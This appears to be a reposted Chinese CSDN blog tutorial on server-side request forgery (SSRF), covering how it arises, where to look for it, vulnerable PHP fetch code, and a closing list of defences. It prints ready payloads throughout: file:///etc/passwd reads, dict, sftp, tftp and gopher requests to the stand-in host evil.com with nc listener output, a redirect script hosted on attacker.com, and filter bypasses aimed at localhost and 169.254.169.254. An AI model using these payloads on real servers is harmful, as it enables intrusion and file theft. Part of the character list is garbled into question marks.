SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))
提示:以下是本篇文章正文內(nèi)容,下面案例可供參考
一、SSRF是什么?
二、SSRF漏洞原理

比如,黑客操作服務(wù)端從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片,下載等等。利用的是服務(wù)端的請求偽造。ssrf是利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器
三、SSRF漏洞挖掘
1、分享:通過URL地址分享網(wǎng)頁內(nèi)容

2、轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)使其適合手機(jī)屏幕瀏覽:由于手機(jī)屏幕大小的關(guān)系,直接瀏覽網(wǎng)頁內(nèi)容的時(shí)候會(huì)造成許多不便,因此有些公司提供了轉(zhuǎn)碼功能,把網(wǎng)頁內(nèi)容通過相關(guān)手段轉(zhuǎn)為適合手機(jī)屏幕瀏覽的樣式。例如百度、騰訊、搜狗等公司都有提供在線轉(zhuǎn)碼服務(wù)。
3、在線翻譯:通過URL地址翻譯對(duì)應(yīng)文本的內(nèi)容。提供此功能的國內(nèi)公司有百度、有道等。

4、圖片、文章收藏功能:此處的圖片、文章收藏中的文章收藏就類似于分享功能中獲取URL地址中title以及文本的內(nèi)容作為顯示,目的還是為了更好的用戶體驗(yàn),而圖片收藏就類似于功能四、圖片加載。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title參數(shù)是文章的標(biāo)題地址,代表了一個(gè)文章的地址鏈接,請求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此種形式保存文章,則在沒有限制參數(shù)的形式下可能存在SSRF。
5、未公開的api實(shí)現(xiàn)以及其他調(diào)用URL的功能:此處類似的功能有360提供的網(wǎng)站評(píng)分,以及有些網(wǎng)站通過api獲取遠(yuǎn)程地址xml文件來加載內(nèi)容。

6、圖片加載與下載:通過URL地址加載或下載圖片,圖片加載遠(yuǎn)程圖片地址此功能用到的地方很多,但大多都是比較隱秘,比如在有些公司中的加載自家圖片服務(wù)器上的圖片用于展示。
(此處可能會(huì)有人有疑問,為什么加載圖片服務(wù)器上的圖片也會(huì)有問題,直接使用img標(biāo)簽不就好了?沒錯(cuò)是這樣,但是開發(fā)者為了有更好的用戶體驗(yàn)通常對(duì)圖片做些微小調(diào)整例水印、壓縮等所以就可能造成SSRF問題)。
7、從URL關(guān)鍵字中尋找
利用google 語法加上這些關(guān)鍵字去尋找SSRF漏洞
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
簡單來說:所有目標(biāo)服務(wù)器會(huì)從自身發(fā)起請求的功能點(diǎn),且我們可以控制地址的參數(shù),都可能造成SSRF漏洞
四、產(chǎn)生SSRF漏洞的函數(shù)
SSRF攻擊可能存在任何語言編寫的應(yīng)用,接下來將舉例php中可能存在SSRF漏洞的函數(shù)。
1、file_get_contents:
下面的代碼使用file_get_contents函數(shù)從用戶指定的url獲取圖片。然后把它用一個(gè)隨即文件名保存在硬盤上,并展示給用戶。
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
2、sockopen():
以下代碼使用fsockopen函數(shù)實(shí)現(xiàn)獲取用戶制定url的數(shù)據(jù)(文件或者h(yuǎn)tml)。這個(gè)函數(shù)會(huì)使用socket跟服務(wù)器建立tcp連接,傳輸原始數(shù)據(jù)。
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3、curl_exec():
cURL這是另一個(gè)非常常見的實(shí)現(xiàn),它通過 PHP獲取數(shù)據(jù)。文件/數(shù)據(jù)被下載并存儲(chǔ)在“curled”文件夾下的磁盤中,并附加了一個(gè)隨機(jī)數(shù)和“.txt”文件擴(kuò)展名。
<?phpif (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
注意事項(xiàng)
一般情況下PHP不會(huì)開啟fopen的gopher wrapper
file_get_contents的gopher協(xié)議不能URL編碼
file_get_contents關(guān)于Gopher的302跳轉(zhuǎn)會(huì)出現(xiàn)bug,導(dǎo)致利用失敗
curl/libcurl 7.43 上gopher協(xié)議存在bug(%00截?cái)? 經(jīng)測試7.49 可用
curl_exec() 默認(rèn)不跟蹤跳轉(zhuǎn),
file_get_contents()?file_get_contents支持php://input協(xié)議
五、SSRF中URL的偽協(xié)議
當(dāng)我們發(fā)現(xiàn)SSRF漏洞后,首先要做的事情就是測試所有可用的URL偽協(xié)議
file:/// 從文件系統(tǒng)中獲取文件內(nèi)容,如,file:///etc/passwd
dict:// 字典服務(wù)器協(xié)議,訪問字典資源,如,dict:///ip:6739/info:
sftp:// SSH文件傳輸協(xié)議或安全文件傳輸協(xié)議
ldap:// 輕量級(jí)目錄訪問協(xié)議
tftp:// 簡單文件傳輸協(xié)議
gopher:// 分布式文檔傳遞服務(wù),可使用gopherus生成payload
1、file
這種URL Schema可以嘗試從文件系統(tǒng)中獲取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果該服務(wù)器阻止對(duì)外部站點(diǎn)發(fā)送HTTP請求,或啟用了白名單防護(hù)機(jī)制,只需使用如下所示的URL Schema就可以繞過這些限制:
2、dict
這種URL Scheme能夠引用允許通過DICT協(xié)議使用的定義或單詞列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在這里,Sftp代表SSH文件傳輸協(xié)議(SSH File Transfer Protocol),或安全文件傳輸協(xié)議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨(dú)協(xié)議,它運(yùn)行在安全連接上,并以類似的方式進(jìn)行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表輕量級(jí)目錄訪問協(xié)議。它是IP網(wǎng)絡(luò)上的一種用于管理和訪問分布式目錄信息服務(wù)的應(yīng)用程序協(xié)議。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp://
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協(xié)議)是一種簡單的基于lockstep機(jī)制的文件傳輸協(xié)議,它允許客戶端從遠(yuǎn)程主機(jī)獲取文件或?qū)⑽募蟼髦吝h(yuǎn)程主機(jī)。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一種分布式文檔傳遞服務(wù)。利用該服務(wù),用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
六、SSRF漏洞利用(危害)
1.可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息;
2.攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序(比如溢出);
3.對(duì)內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識(shí)別,通過訪問默認(rèn)文件實(shí)現(xiàn);
4.攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli等);
5.利用file協(xié)議讀取本地文件等。.
6.各個(gè)協(xié)議調(diào)用探針:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
七、SSRF繞過方式
部分存在漏洞,或者可能產(chǎn)生SSRF的功能中做了白名單或者黑名單的處理,來達(dá)到阻止對(duì)內(nèi)網(wǎng)服務(wù)和資源的攻擊和訪問。因此想要達(dá)到SSRF的攻擊,需要對(duì)請求的參數(shù)地址做相關(guān)的繞過處理,常見的繞過方式如下:
一、常見的繞過方式
1、限制為http://www.xxx.com 域名時(shí)(利用@)
可以嘗試采用http基本身份認(rèn)證的方式繞過
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在對(duì)@解析域名中,不同的處理函數(shù)存在處理差異
在PHP的parse_url中會(huì)識(shí)別www.ccc.com,而libcurl則識(shí)別為www.bbb.com。
2.采用短網(wǎng)址繞過
比如百度短地址https://dwz.cn/
3.采用進(jìn)制轉(zhuǎn)換
127.0.0.1八進(jìn)制:0177.0.0.1。十六進(jìn)制:0x7f.0.0.1。十進(jìn)制:2130706433.

4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析為127.0.0.1
(xip.io 現(xiàn)在好像用不了了,可以找找其他的)
5.利用[::]
可以利用[::]來繞過localhost
http://169.254.169.254>>http://[::169.254.169.254]
6.利用句號(hào)
127。0。0。1 >>> 127.0.0.1
7、CRLF 編碼繞過
%0d->0x0d->\r回車
%0a->0x0a->\n換行
進(jìn)行HTTP頭部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a?
8.利用封閉的字母數(shù)字
利用Enclosed alphanumerics
???????.??? >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨?②⑤④??⑨?②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
二、常見限制
1.限制為http://www.xxx.com 域名
采用http基本身份認(rèn)證的方式繞過,即@
http://www.xxx.com@www.xxc.com
2.限制請求IP不為內(nèi)網(wǎng)地址
當(dāng)不允許ip為內(nèi)網(wǎng)地址時(shí):
(1)采取短網(wǎng)址繞過
(2)采取特殊域名
(3)采取進(jìn)制轉(zhuǎn)換
3.限制請求只為http協(xié)議
(1)采取302跳轉(zhuǎn)
(2)采取短地址
八、SSRF漏防御
通常有以下5個(gè)思路:
1,過濾返回信息,驗(yàn)證遠(yuǎn)程服務(wù)器對(duì)請求的響應(yīng)是比較容易的方法。如果web應(yīng)用是去獲取某一種類型的文件。那么在把返回結(jié)果展示給用戶之前先驗(yàn)證返回的信息是否符合標(biāo)準(zhǔn)。
2, 統(tǒng)一錯(cuò)誤信息,避免用戶可以根據(jù)錯(cuò)誤信息來判斷遠(yuǎn)端服務(wù)器的端口狀態(tài)。
3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。
4,黑名單內(nèi)網(wǎng)ip。避免應(yīng)用被用來獲取獲取內(nèi)網(wǎng)數(shù)據(jù),攻擊內(nèi)網(wǎng)。
5,禁用不需要的協(xié)議。僅僅允許http和https請求??梢苑乐诡愃朴趂ile:///,gopher://,ftp:// 等引起的問題。
版權(quán)聲明:本文為CSDN博主「零點(diǎn)敲代碼」的原創(chuàng)文章,遵循CC 4.0 BY-SA版權(quán)協(xié)議,轉(zhuǎn)載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_43378996/article/details/124050308